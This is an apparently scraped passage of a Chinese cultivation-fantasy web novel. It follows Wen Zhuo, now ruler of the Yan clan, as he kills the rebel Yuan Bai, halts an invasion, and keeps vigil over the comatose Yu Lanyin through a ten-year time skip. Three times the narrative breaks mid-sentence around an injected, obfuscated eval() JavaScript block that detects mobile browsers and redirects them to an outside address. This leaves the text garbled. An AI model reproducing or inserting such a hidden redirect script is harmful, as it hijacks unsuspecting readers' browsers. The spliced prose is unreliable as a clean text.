温卓的声音嘶哑无比,尽管他此时眼目通红,说话却还算得上沉稳,“原佰?” 侍卫哆哆嗦嗦地点点头。 “他何时能替本尊发号施令了?” 温卓讥讽地抬了抬嘴角,“你可还分得清尊卑?” “尊主饶命!” 温卓的话都没说完,侍卫已经冷汗涔涔双股战战地跪在地上,“邦邦”两个响头,“尊主饶命!这是右护卫的意思!和我无关啊尊主!右护卫已经率兵动身了,我只是奉命来汇报啊尊主……” 温卓没有再看他。 他只自顾自安静地搂着怀中之人,一双眼睛低低地垂着,遮挡了汹涌的情绪,随后轻轻在那人的眼角处落下一吻,恍若自语道:“我去去便来。等我。” 他起身,隔空抓过死去多时的达奚恩山,双手一握,直接将他的尸首化作漫天金粉,在门内外狂风的漩涡中消散不见。 就在转身关门之时,温卓垂眸,朝那低阶小侍卫做了一个手势。 侍卫只一眼便明白,那意思是:从此时开始,夜雀宫,任何人不得入内。 他慌乱地站起身,连连福身:“是,尊主。” 就在门即将关上前的最后一刻,侍卫匆匆地扫过了宫殿内那睡美人一般的人的脸。 他猛地一惊。 ——左,左护卫! 十方宗。 “善玄!” 大地的轰鸣声中,天下一片昏黄之色,与此同时秦鹤生脸色骤变。 善玄脚下连走带飞地从门口御风而来。 他的表情比起秦鹤生有过之而无不及:“是结界,结界消散了!” 闻言的秦鹤生显而易见地一愣,嘴唇略一嗫嚅,“结……结界?” “对,结界。” 善玄吸了口气,忽然低下头,捏了捏自己的眉心,不知隐藏下了何种情绪,“不见了。碎了。” 在极短的沉默中,两人心照不宣地都没有提起那人的名字。 “能看到须弥之地了吗?” 秦鹤生终于开口道,“那边……怎么样了。” 善玄明白他的意思,很快地点了点头。 “山崩海啸,有进攻之势。” 秦鹤生因为这寥寥数字,仿佛瞬息之间苍老了百岁。 他自嘲地一笑,“果然还是逃不掉昨日重现的命运吗……” 两人说话间,十方宗尽数长老已经齐聚天庸峰之上。 他们对这架势并不陌生——他们只是不敢置信,短短一年,如此紧急的事态居然会接连发生两次。 前所未有,闻所未闻。 “云州仙门百家,向来没有不战而降的规矩。” 秦鹤生点点拐杖,本应激昂的说辞莫名显得老态龙钟,“全民战线的时代再次到来了,我十方宗百位长老,千万子弟,此般生死存亡之际,一步不得后退!” 镜遥大概做梦都不会想到,自己再一次见到师兄居然是在最前线的战场上。 他的脸上鲜血横流,望着战火之中手起刀落的原佰,愣愣地出神。 善玄余光观察到镜遥的状态不对,当即蹙眉轻喝:“镜遥!” 青木出事后,门下千余名子弟被斗宗其他长老悉数收编。 善玄作为药宗长老,按理说是和这事情毫无关系的。 但或许是因为他同青木的旧情,又或许是君少暄若有若无的请求,总之,镜遥如同被天上掉下的馅饼砸了脑袋一般,撞上了狗屎运,居然被拎到善玄门下作内门弟子了。 “善玄长老。” 镜遥有些固执,又可能是真的叫不惯,如今仍旧很客气地称呼善玄道,“我没事的。” “战场之上切勿分神!” 善玄一扬手,将一只已经悄然摸至镜遥身后的厌族击了个粉碎,“此乃大忌!” 说完,他再顾及不上镜遥,转身投入了新一轮的腥风血雨之中。 “师弟。” 方才还只能远远看着的人,不知什么时候已经迈着从容不迫的步子,熟视无睹地穿过尸山血海,走到了镜遥的面前。 他身高九尺有余,威风堂堂挺拔如松,面带笑意地同镜遥颔首致意。 “好久不见啊,师弟。” 镜遥一时想不出自己究竟要用什么表情面对他的旧师兄。 于是他拧巴的面目落在原佰的眼里难免有些扭曲,“原佰……师兄。” 原佰又是好整以暇地点了点头。 他似是感叹道:“真没想到我们居然是在这种情况下重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14873394|146057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 逢。最近过得怎么样?下山历练得可还好?” ……是了。 他们二人上一次分别之时,各自所说皆是“承蒙师恩,下山历练”,在十方宗脚下,你南我北相互作别。 镜遥知道自己不应该这么窝囊的,可还是不争气地红了眼睛。 他摸了摸满脸的血和泪,心下暗骂自己不争气。 原佰脸上的笑意也终于隐下。 他走上前,一如从前地揉了揉镜遥的脑袋,“别哭了。” “镜遥,阿遥,我不求你原谅我。” 原佰在轰隆的战火中衣袂翻飞,“我从小没有爹娘,师尊于我,如父如母亦师亦友,恩重如山。我愿意为他献出我的一切,哪怕背叛天下人在所不辞。” “我不求你原谅我。” 原佰又道,随后一顿,“我不愧天地,也不愧于我本心,我只愧对于你。我实实在在欠你一个道歉。抱歉,阿遥,我们……不得不,不得不走散了。” 镜遥一句话都说不出,眼泪像是断了线的珠子一个劲地往下淌。 是啊。 原本嬉笑怒骂的少年时光仿佛是阳光下七彩的皂角泡,太阳晒久了会破,风一吹也会破—— 可这不是太阳和风的错。 归根结底,怪只能怪这盛大的绚烂原本就太过脆弱。 “这不是一个叙旧情的好地方,你看上去也没有想要同我促膝长谈的意思。” 原佰笑了,“等这最后的战争结束后,我就好好地睡一觉。见到师尊后,也能大言不惭地说一句不枉此生。” “师兄,收手吧……” 镜遥哭着说出了他今晚同原佰的第一句话,“你又何尝知道师尊有没有后悔呢?” 听闻此话,原佰嘴唇忽然不自然地一抿。 镜遥自然没有错过原佰脸上转瞬即逝的错愕与僵硬。 他慌乱地抹了一把脸,把自己抹成了一只花猫,“师兄,若是师尊还在,他必然也不远见你为他手上沾染如此无辜之人的鲜血……” “阿遥。” 原佰温温和和地打断了镜遥,他后撤一步背到光下,镜遥不再能看清他脸上的表情,“开弓没有回头箭。我收不了手了。” 他大概是笑了,甚至轻轻地朝镜遥摆了摆手,“再见了,阿遥。” 原佰一步一步后退着,朝后侧退去。 “师兄!” 流着泪的镜遥忽然脸色一变,极为突然地朝着他大喊出声,甚至因为太过急躁尾音都劈了叉。 原佰呼吸停滞一瞬,瞳孔猛然一缩。 ——不好,背后…… 一道玄色身影宛如鬼魅从天而降,极为精准地落在原佰的身后。 他就像地狱中爬出来的恶鬼,又或是像明月高悬的悬崖峭壁之上的一棵冷松,抵住了原佰的退路。 ——背后有人! 原佰甚至来不及幻化出法器,就在他惊愕回头的一瞬间。 忽然,一阵天旋地转袭来,慌乱之中,他只恍惚看见温卓猩红的双眼和冷峻的侧脸,再还有惊惧地捂住了嘴的镜遥。 随后就是一阵强烈的失重感和坠落感。 “噗通”一声,在浩荡的战火之中轻得就像是一声大地的呜咽。 原佰没有感觉到疼。 他的头颅坠落在地,亲眼看着自己的脖颈高高地喷溅出鲜血,随后重重地摔在他头颅的一侧。 温卓将剑上的血甩净,稳稳地将剑收入鞘。 92.换将 镜遥死死地捂着自己的嘴巴,生怕自己喊出一点声音。 温卓和玉阑音齐齐叛变的消息如此骇人听闻,镜遥觉得不现实极了——他做梦都不敢这么做。 甚至包括此时此刻,站在生死悬崖的边缘,同厌族尊主温卓对视,比起恐惧、比起失望,他更多像是游离在状况之外。 他完全搞不懂为什么温卓要手刃原佰,也完全不明白厌族自相残杀对目前的战况会有什么帮助。 温卓稍一侧目,今晚第一次地用目光扫过他。 镜遥无法控制地微微地绷紧起身体,颤巍巍地将自己的法器横在身前。 “温兄……” 温卓不冷不淡地收回目光,“嗯?” 他原本以为镜遥会撕心裂肺地埋怨自己杀了他情同手足的前师兄。 可是对面,满脸鲜血和泥污镜遥却忽然红了眼睛。 “长老他是不是……” 原本吱哇乱叫毫无章法地大举进攻的厌族不知什么时候消停下来了。 他们一个两个地抱在一块儿,向后瑟缩。 ——开玩笑,这不知何许人从天而降直接把他们的头头给杀了,他们再闭着眼睛猛冲怕不是嫌自己活得太短了! 而且…… 这人的模样实在是太像厌族口口相传的新尊主了吧! 善玄是所有人中第一个察觉到对面攻势渐缓的。 他顺手将灵力化作光刀,将手边的一只低阶厌族劈了个两半,随后看向不远处眯了眯眼。 “温卓!” 温卓只感觉自己面前刮过一阵快而敏捷的风,定睛一看,是他的师兄目眦具裂地站在他的身前,一柄光刀的尖抵在他的喉头。 此时的温卓仍旧身着赐意宴上的重工华袍,落在善玄的眼中是无比的讽刺。 “你还有脸回来?” 哪知温卓摇了摇头,“没脸来了,师兄。” 善玄一怔。 他暗暗心道:不能心软啊,江同,别心软。 “对不起……” 温卓的声音轻到有些颤抖,“师兄,阑音他……” 靠。 善玄在心中狠狠咒骂自己一声。 他稳了稳手中的光刀,强迫自己的声音听上去没有异样。 “结界消散了,是个人都猜到了。”善玄讥讽道,“你如今授意率兵攻入云州大陆,已是无从辩解罪大恶极,你向我道歉有何用?留着下地狱和天下人说去吧。” 温卓忽然颤抖着呼出一口气。 他飞速地伸手按了按眉心,藏下了眼眶的湿热。 他转过身,单手一抓,拎了个看着还算体面的中阶厌族过来。 “原佰越庖代俎,身首异处。那你们呢,是想活还是想死?” 这阴森森的话音刚落,中阶厌族的头发噌得竖了起来。 ——这哪是像啊,这分明就是他们尊主本人! 他抱着头,哆哆嗦嗦地表达着自己想活的意愿。 “尊主,我们想活,我们都想活……” “想活?那还不滚回须弥之地去!” 温卓抬了抬嘴角,一字一句掷地有声, “不得我令,不可踏入云州大陆半步!” 一旁的善玄安静地听了会儿,总觉得哪里有些不对。 他皱了皱眉,“此次进攻不是你授意的?” 温卓彬彬有礼地朝善玄一颔首,“不是。” “这到底是怎么一回事,温卓。” 善玄头一次感觉自己要举不动自己的光刀了,他有些疲惫地松了松眉眼,微微透露出一丝脆弱地倦怠。 温卓忽然想到玉阑音对他“不要同仙门交恶,脏水泼到我身上”的叮嘱。 鼻头猛地一酸。 ……你真忍心啊,阑音。 温卓是个不折不扣的厌族,自认为自己已经是足够冷心冷情无坚不摧,但没想到同那慈悲的云州上仙相比居然还是落了下风。 他的目光重重地在善玄身上停留片刻。 明明连我都……连我都舍不得。 你居然真的舍得要他们恨你一辈子吗。 “他骗你的。” 温卓近乎苦涩地张了张嘴,如同达奚恩山对他说的那样,此时将这同样的话原封不动地送给了善玄,“……阑音。他是骗你的。” 善玄的耳畔猛地轰鸣,连带着拿着光刀的手都猛烈颤抖起来,微微刺进温卓的脖颈,淌下一串血珠。 “……你疯了吗,你在说什么……” 善玄嗫嚅道,“玉阑音他……师尊,到底是怎么死的?温卓,你告诉我,你告诉师兄……” “我杀的。” 温卓的声音极为镇定,“我杀了达奚恩山。” “……他是故意的,对吗?” 善玄身上有点难受,五脏六腑都有些错位,他头晕得厉害,想吐,“他也骗了你,是不是?他就是想要你杀了达奚恩山,再要你做厌族尊主,对不对?” 温卓稍一蹙眉,“师兄。” 善玄低低地自说自话,心神不稳中,周身的灵气乱窜。 猛然暴涨的夸张的灵压之下,在场所有人当即便喘不过气来。 方才跟在原佰身后狐假虎威的众厌族早就一溜烟地跑了个没影儿。 此时天幕之上再没有结界,只剩一片浓墨重彩的漆黑的深渊。 “……怎么回事?好强的灵压!是谁的灵气暴走了?” “咳咳咳……我喘不过气了……” “厌族怎么全都撤退了?到底是怎么回事?” “是善玄长老!十方宗善玄长老!他的灵气暴走了!” “……天哪!居然是真的!是善玄!就在那里!” …… 镜遥被压得眼角流出了血,半跪在地上无法动弹。 “善玄长老……温兄……” 在场所有人只有温卓面色如常,行动自若。 他飞快地扶起镜遥,在镜遥身外罩了一层结界,隔绝了这胡乱狼窜的灵力。 手上不停,他即刻落下了一道金字符咒,左手一下压,将它引入善玄的眉心。 “凝神。” 善玄只觉得自己大概是要死了。 倒不是说身上受了什么重伤不得不死,他只是不知道怎么活下去了。 善玄的识台不甚清明,在晕厥前的最后一刻,他狠狠地扣住温卓的手腕。 “……我将师尊的神像砸了……”他哭着说,“我亲手砸碎的,师弟……我亲手……” 善玄不记得自己究竟是怎么晕过去的。 他只觉得自己做了一个很长很长的梦。 梦里的他、青木、秉文都还年幼,自己底下还有个叫温卓的师弟,年纪比他小得多,经常挨他欺负。 虚空山上也没什么特别出奇的稀罕事,他们只是每天晨起去给师尊请安,上午练功,下午念书,晚上得了空便去药谷里头捉迷藏。 他时不时违反宗门规定拽着温卓和他下山去听戏,玩得灰头土脸再回来,师尊也从来不骂他,只叫他躲着点掌门,挨了处分他可不管。 总而言之,就是极为稀松平常的、幸福的日子。 可是不知为何,善玄却总 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14876440|146057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是想要流泪。 就好像…… 就好像大家三三两两的,其实早就不见了似的。 “善玄……” 好吵…… “……善玄,醒一醒了。” 好像是有人在叫他。 “……你睡了好久了,快些醒来吧。” 究竟是谁在叫他呢? “善玄……善玄!” 善玄眼前骤然一亮,随后十分不适地重新阖上眼睛。 秉文的声音听上去有些急躁,“掌门!善玄醒了!” “嗯,我看到了。”秦鹤生的声音随之响起。 善玄觉得身上累极了。 嗓子也干涩无比,十分不舒服,“……现在是什么时候了?” “现在?” 秉文愣了一愣,朝门外看去,“午时或是未时吧,大概是。” 善玄十分明显地叹了口气。 “……我是问,我昏迷了多久了。” 秉文“哦”一声。 随后宛若什么都没发生过似的,“百年零七个月。当日一战中你心神大动灵气四散,只差灰飞烟灭了。若不是温卓及时给你下了‘凝神符’,恐怕现在都未必能醒过来。” “百年?” 即便身体此时是如此的不适,善玄还是猛地睁大了双眼,“你莫不是编瞎话玩我呢?” 秉文沉默了一会儿,许久才耸了耸肩。 “好吧。其实是十年零七个月。” “芍欢!” 善玄十分气愤地大喊大叫,“我还是个病人!捉弄病人,你这人究竟是什么蛇蝎心肠!” 秉文冷笑一下,十分挑衅地点上了旱烟斗。 “那这位病人你看好了吧,我这人不光喜欢捉弄病号,还要在你闺房里头抽旱烟了哦。” 善玄还没来得及制止,秉文已经眯着眼睛陶醉地吞云吐雾起来。 顺便幽幽地将一个十分圆润漂亮的眼圈吐到善玄的脸上。 善玄黑着脸将这老烟枪的旱烟斗抢过来掰成了两半。 秉文对此丝毫不意外。 她好脾气地往宽大袖袍里一摸,当即摸出个一模一样的烟斗,好整以暇地重新点上。 秦鹤生只在一旁看着笑。 善玄没精力也没心情和秉文玩这小孩儿的把戏。 他疲倦地撑起身,“温卓……不对,我师弟他怎么样了。” 那长柄烟斗乖巧地在秉文手指尖转了一圈。 “温卓啊……” 十年对于修士、对于厌族来说都只是弹指一挥间…… ……个屁啊! 须弥之地的厌族们敢对神明发誓,他们从来没有度过过这么难捱的十年。 云州结界碎裂的当天,过了一千年憋屈日子的厌族人士可谓是翻身农奴把歌唱,喜笑颜开奔走相告,摩拳擦掌地做起回到云州大陆重见天日的美梦。 可惜这欢天喜地甚至都没能维持一日之久。 因为当晚,先是右护卫手下的厌族仓皇逃了回来。 随后,一身血气的厌族尊主也提着剑回来了。 新任尊主上位当天血洗夜雀宫的故事还没焐热,就在这一日,又新添了“改朝换将血流成河”的佳话。 从达奚恩山到右护卫到夜雀宫上下三千亲信,个顶个死相惨重。 好的还能留下一具全尸,差的那就是尸骨无存。 一朝天子一朝臣。 过去达奚恩山手下之臣,他们的新尊主几乎是杀了个片甲不留,却唯独留下了一个—— 左护卫,乌鸦。 93.鎏金 须弥之地不知从什么时候有了个惊为天人的传言。 听说是从夜雀宫的侍卫燕一那里传出来的内部消息,保真。 ——他们的厌族尊主,和左护卫有一腿。 “……那哪能有假?我亲眼看见的!” 燕一绘声绘色地讲着,“那天夜雀宫里头统共就仨人,尊主,达奚大人,再一个就是左护卫。哎哟左护卫不知是受了伤还是怎么的,晕过去了,尊主跪在地上抱着左护卫哭,哎哟那眼红得哟……” 一旁一直听着的栀子纳闷了:“可是这些年尊主对左护卫也不好啊,赏给左护卫的好脸还没我多。” “这你就不知道了吧,人家那叫——避嫌。” 燕一讲得有胳膊有腿,“咱尊主手底下到现在都再没立一臣一子,身边就一个左护卫,这还不足以说明尊主对左护卫的特殊?” “而且还有呢,你们肯定都知道尊主有多宝贝门前树上那只夜莺吧?” 燕一言之凿凿,十分自得地翘起二郎腿,“咱瞧一眼都不行,但是左护卫不光能看,还能喂哩。” 身侧一群听故事的围观群众当即面露恍然大悟状:“哦——” 人群之中,只有栀子不太着道,蹙眉摇了摇头。 她还是觉得哪里不太对劲。 毕竟她真切地见过尊主看左护卫的眼神…… ——那何止是不爱,压根就是恨吧。 “可是……” 栀子正要疑惑地发表自己的见解,忽然,她看向远处的眼睛瞳孔一缩,一口獠牙都失控地刺了出来,“尊主!” 这一嗓子震天撼地。 直接叫在场所有人调转方向,二话不说齐齐跪到了地上,“尊主!” 整整齐齐一排人,个个头低得恨不得埋进自己胸口里。 首当其冲的聚众非议头头燕一这时候已经吓得面容失色,垂首暗暗心道,今日不掉脑袋就是胜利。 温卓安静地站在不远处。 同前几年的凤鸣峰之上光风霁月尘释仙尊判若两人。 他额上挂着金饰,身着玄色尊主华服,剪裁合身,面料硬挺,暗金色双层刺绣滚边,雍容华贵至极,又在他深刻却阴沉的面容映衬之下多了几分肃穆。 此时的温卓已经完全厌族化,眼眸常年猩红,犬齿略尖,看上去阴邪又凶戾。 他目光轻轻扫过远处齐齐跪拜着的一排小人。 就像是无名阴冷的风一起,那群准备受罚的手下不约而同地一个机灵,身上激起了一层鸡皮疙瘩。 可是出乎他们意料的,温卓这次是真的只极为平淡看了他们一眼,很快便将目光收回去了。 直到温卓已经步子很轻地走进夜雀宫,跪在地上的那群沉浸在要死了的恐慌之中的中阶厌族,依旧久久没缓过神来。 栀子是他们中第一个恢复了行动能力的。 她僵硬地转了转眼珠,声音无比干涩,“尊主今天……心情很好?” 燕一不敢说话,抿着嘴摇了摇头。 一个叫做陆回的年轻侍卫挠了挠脸。 “不见得吧……”他小小声道,“我可没见过谁心情好还拉着这么一张脸的……唔!” 燕一死死地捂着陆回的嘴。 “别胡说啊,找死别拉上我!”他拽着陆回往远处走,“走了走了,想活命就快走了。” 一行人你拖我拽地鸟兽群散,争先恐后地各自忙各自的事去了。 温卓听着门外叽叽喳喳地议论声逐渐走远,略向门外看一眼。 随后他脚下未有停顿,脚尖一点,腾升一圈深红色灵气,自夜雀宫移形换影至一偏远但风景秀丽的新宫殿。 宫殿的富丽堂皇比起夜雀宫有过之而无不及。 其内没有沿袭厌族那血色灯罩的照明,四角皆用玉白石柱支起夜明珠,石柱之上雕刻这双龙戏珠的浮雕。 殿内业火红莲的深潭之上有一含苞欲放的红莲水床。 瑰丽的火红色花瓣含苞待放地轻合着,缓慢地鼓动起伏,如同生命轻柔而规律的呼吸。 温卓屏息,轻车熟路地脚下一点跃至水床一侧。 心念一动,红莲的花瓣立即缓缓绽开。 淡黄色的莲心处落着一道霜白色的身影。 这人的略苍白的面容堪称绝色,似乎即便双眼紧闭也可窥见其下灵动的光辉,弯眉黛目却不显女相,双手交叠在胸口,安详之余尽显孱弱本色。 他看上去像是只是睡着了。 温卓安静地垂着眼睛看了他很久。 一言不发,也没有任何动作,只是这么看着。 直到很久之后。 他很轻地蹲跪在水床旁,痴迷地抚摸着玉阑音一丝不苟地发鬓,在他毫无血色的唇上虔诚落下一吻。 “……你怎么还不醒呢。” 温卓看上去像是真的很疑惑。 他点着玉阑音平直的唇角近乎呓语。 身后的水潭忽然像是石子落水,荡起一圈涟漪。 温卓的神色猛然一凛。 有人来了。 身后来人脚步轻快,几个越步便到了温卓身后。 “尊主。” 话音未落,他已经被温卓的一记灵力刃劈得后退翻滚,掀起层层水浪和尘灰。 “噗——咳咳……” 乌鸦在地上狼狈地趴着,呕出一口血,“尊……尊主……” 温卓不知何时已经站在了乌鸦的面前。 他尖翘的鞋尖抵在他修长的脖颈处,声音是无比的阴戾,“谁许你来这里的。” 由于乌鸦本体是由厌族太岁化形而成,乃天地之物以外的生命。 尽管体内有玉阑音半数神识,却并没有因为玉阑音的去世而消散。 ——不像金雕阑音和白祺。 温卓现在都能回忆起玉阑音死后,他进到识海的那一天。 经年蹲坐在枯树之上的金雕阑音消失了。 识海空空荡荡,只有一匹枣红色的马在枯树下阖着眼。 温卓一直觉得自己足够冷静了。 玉阑音死后他发过怒,红过眼,但是没流过泪。 可是在进了识海的一瞬间,他的眼前在瞬间便模糊得不成样子。 等到再度看清,已经是眼泪涟涟顺着脸颊流下。 乌鸦疼得说不出话来,原本和玉阑音别无二致的脸此时扭曲无比,忽然再没有半分玉阑音的影子。 “尊主……尊主,在下方才去了夜雀宫,没见到尊主才贸然前来。是鎏金坊,是鎏金坊,有人闹事!” 鎏金坊。 须弥之地第一赌坊,直接受尊主温卓掌管。 温卓政务繁忙,自然是不能整日坐镇在那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14915901|146057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赌坊不务正业。 鎏金坊内虽然玩得又猛又花,但到底是碍于温卓尊主身份的威慑,平日鲜少掀起大风大浪。 可今日居然有人闹事? 温卓单手敛了敛袖子,神色冷淡地瞥了乌鸦一眼。 “闹事?” 乌鸦忙不失迭地爬起身,跪在地上。 他身上不知是因为疼痛还是因为其他,浑身不住地颤抖着,“是!那人云州修士打扮,蒙着面,进了鎏金坊打伤了坊里四五个提将,指名道姓要见您!” 鎏金坊内。 堵客已经在混乱之中仓皇地逃窜,此时散了个七七八八,只留下一桌桌残破的棋局牌局,和一地酒水。 君少暄站在鎏金坊中央。 他一袭白金修士袍,金边三角白金蒙面,只露出一双鹰隼般犀利的眼睛。 他的双手钳住一提将的手,法剑的剑刃划得提将的脖颈一串串血珠往下淌。 “你们尊主呢!老子的耐心是有限的,你敢耍老子,下一秒你的狗头就在地上!” 提将吓得花容失色。 “大侠!大侠!我已经和我们左护卫上报了大侠!” “左护卫?” 君少暄不解地一歪头,“左护卫是谁?权力大么?” “大!权力大得很!” 像是说到自己得心应手的话题似的,提将嗓门一下子大了起来,“一人之下万人之上,除了我们尊主,这须弥之地就是我们左护卫了!” 话音刚落,门口便传来一阵窸窣的脚步声。 “是谁要见我们尊主?” 这熟悉的嗓音一亮相,君少暄浑身陡然一僵。 他僵硬地转过头去。 乌鸦顶着一张玉阑音的脸,施施然进入坊内。 他上下打量着蒙面的君少暄,“便是你大闹鎏金坊?” 比起上次汀芷村相见乌鸦十五六岁的模样,如今他已经完全长开了。 ——或者说,是更像玉阑音了。 君少暄愣愣地看了很久。 他嗓子紧得发痒,花了好些工夫才找回了自己的声音,“……长老?” 乌鸦一顿。 “乌朔?” 君少暄终于察觉到了那诡异的不和谐,眉间一凛。 乌朔。 十分久远的一个名字。 乌鸦听到这个称呼险些没能反应过来。 “温卓呢?” 君少暄无暇分神乌鸦的身份,“温卓为什么还不过来?” 提将还在君少暄的剑下瑟瑟发抖。 他不知道为什么这个蒙着面的修士居然敢直呼他们尊主的大名,但是不管是什么原因——这人一定不好惹! “你凭什么觉得你配呢?” 乌鸦一开口,和玉阑音便更是不再相似。 “我们尊主说了,不见。” 他讥讽地提一提嘴角,一张俊美的脸尽显尖酸刻薄,“不过我们尊主也说了,你若是有什么诉求可以交由在下转达。” “交由你转达?” 君少暄虽然年岁渐长,但到底还是那个药谷拿鼻孔看人心高气傲的少年。 “你又凭什么觉得你配呢?” 君少暄嗤笑一声,“我若是说我有让我们长老死而复生的法子,你这个冒牌货不得吓得屁滚尿流、哭鼻子了?” 94.等待 乌鸦的脸色果然当即就变了。 “什么?” 可是都不等君少暄得意洋洋地挖苦乌鸦,鎏金坊中央忽然腾升起旋风样的气流柱。 鎏金坊内人面色随之齐齐一变,比起方才的乌鸦有过之而无不及。 气流柱内隐约现出人影。 来人一袭黑金长袍,猩红的眼眸荧荧地闪着红光。 “天哪……居然是尊主!” “尊主大驾光临了!” “拜见尊主!拜见尊主!” “我何德何能啊……来个赌场居然能遇见尊主!” “拜见尊主!尊主万岁!” …… 温卓脚下甚至没有站稳。 他三步并两步到了君少暄面前,极高的个头几乎让他俯视着君少暄,“你说什么?” 或许是因为须弥之地呆得太久,厌族化的时日已长,温卓的心性大不如前。 喜相逢的大好时机,温卓似乎毫无寒暄的意思。 君少暄看着面前陌生的温卓,一愣。 其实早在十年前,玉阑音和温卓“叛变”一事已然水落石出。 尽管二人以身入局,大大小小迫不得已的亏心事也做过,但好歹也还是能称得上一句功大于过。 后续更是随着玉阑音的身死,修仙界轰然动荡,虚情假意地祭拜仪式遍地开花。 玉阑音生前荒草萋萋的云州上仙神庙,这些年门庭若市。 排队半个时辰才能上三炷香,没等自己心愿念齐整就会被后面急躁的人催促着赶走。 如今须弥之地温卓只手遮天,整个厌族大小事务全靠他一人操办,也算是另一种意义上的“上下同心”了。 于是即便云州结界早已消散多年,人厌二族之间的相处颇为相安无事。 甚至在温卓睁一只眼闭一只眼的默许下,云州大陆和须弥之地之间甚至还有了些商贸往来。 厌族往外售些极为灵验的神柜佛龛,云州则是出售丝绸瓷器,互利互惠,很是乐得自在。 云州上到仙门百家、下到黎民百姓都原谅了玉阑音和温卓。 秦鹤生挂念,常念叨起他这个争气的前宗门子弟。 但事实上,温卓在送昏厥的善玄回到十方宗那日后,便再没踏足云州大陆一步。 今日是在那场动乱后,君少暄第一次见到温卓。 他愣愣地看了很久,“温卓……” 这只存在于旧日回忆里的声音总算是让温卓恢复了些许理智。 他登然驻足,“少暄。” 二人忽然不以兄弟相称,倒是比起先前亲密了些。 君少暄无端从这称呼中看到了先前那个总玉阑音身后,沉默又温和的温卓的影子。 他摘下自己遮面的三角白巾,鹰鹫一般的眉眼略一松散,“温卓。” 温卓略一颔首,算是打过了招呼。 “少暄方才说的话是什么意思?” 尽管他的到来有些风风火火,此时的面上却奇异地并不显得急躁,“是谁要死而复生了?” 温卓的话听上去有些怪异。 不过君少暄对此只是心下一纳罕,“不是长老么?前些日子玄天门泓继掌门登门拜访,许了些偏门的法子,我觉得有用,便来找你了。” 温卓一歪头,“谁说阑音死了?” 君少暄终于察觉到了不对。 他皱起了眉,“温卓,你……” “阑音没有死。” 温卓面色如常,不容抗拒地打断了君少暄的话,“他没有死。” 温卓硬邦邦地落了话。 或许是担心自己说的话太过生硬,他很快又拱了拱手。 “少暄好容易来须弥之地一趟,只是可惜我如今事务繁忙。须弥之地瘴气深重,少暄还是回吧。” 话说至此,君少暄此时对温卓的担心已经胜过了玉阑音。 他思忖良久,终于还是回礼拱了拱手。 十方宗之上。 “师弟他若是无此意……那只能我们自己来了。” 善玄按着自己的眉心,“他还好吗?” 君少暄沉吟片刻,“不。” “嗯?” 善玄有些诧异地抬了抬头,“他怎么了?” 温卓这人…… 任凭善玄想破脑袋,他都想象不出来他那张死板的脸能表现出什么“不好”的情绪。 “我觉得温卓他……” 君少暄斟酌了一会儿措辞,“……像是疯了。” 善玄:“……” 善玄:“啊?” 温卓此时正躺在红莲的水床之内。 玉阑音闭着眼,安详地被温卓抱在臂弯。 “阑音。” 温卓呢喃着,“他们说你死了,要把你抢走。” 他吻了吻玉阑音卷翘的眼睫,“可是只有我知道,你没死。” “我最近总能见到你。” 温卓轻声道,“很多个你,有的时候躺在我身边,有的时候在我的书桌前。但是他们都是假的,我知道,所以我从来不和他们说话。” “你什么时候醒过来啊。我想你了,阑音。想见你。” 温卓阖上眼睛,将头埋在玉阑音的脖颈,“很想很想。” 不过温卓并没有在这里待得太久。 因为……他院子里的夜莺还没喂。 温卓踮着脚,学着记忆中的玉阑音,往树上夜莺的巢里撒了些米粟。 巢里的夜莺小小的一只,通体浅灰褐色,眼先微微泛白。 它歪了歪头,叽喳地叫了几声,蹭了蹭温卓还未收回的手指。 温卓罕见地温顺了眉眼。 “恪云。”他唤道。 那夜莺十分有灵性地又啼叫了两声。 温卓自认为自己不是一个善于发现美的人,相反,他对于美的理解十分粗暴—— 与玉阑音相关的,统统是美的。 于是,虽然温卓至今没品鉴出这小鸟叫得有多么多么好听,但这并不妨碍他觉得这小东西十分可爱。 他眼中带着几分笑意,点了点小夜莺的脑袋。 “快快长大吧,恪云。” 日子依旧在稀松平常地过。 温卓在须弥之地宵衣旰食日理万机,每日每夜忙得脚不沾地。 他如今勤政的唯一原因便是玉阑音。 因为他希望…… 希望玉阑音醒来的那天,可以夸他:做得好。 他愿意为了这一句幻想中的赞扬等待。 愿意为了这飘渺的希望活着。 于是他只是等。 玉阑音知道自己睡了很久。 况且他以为自己大概是要永远睡下去了。 但是有一天,他忽然被一声轰然的、胸腔之内久违的震颤惊醒了。 玉阑音一开始只顾得上自己身上钝钝的疼。 良久才后知后觉地感觉到怪异。 因为他的心脏已经不见很久了。 何来此时的“跳动”一说? 一片黑暗中,玉阑音闷闷地摸着胸口。 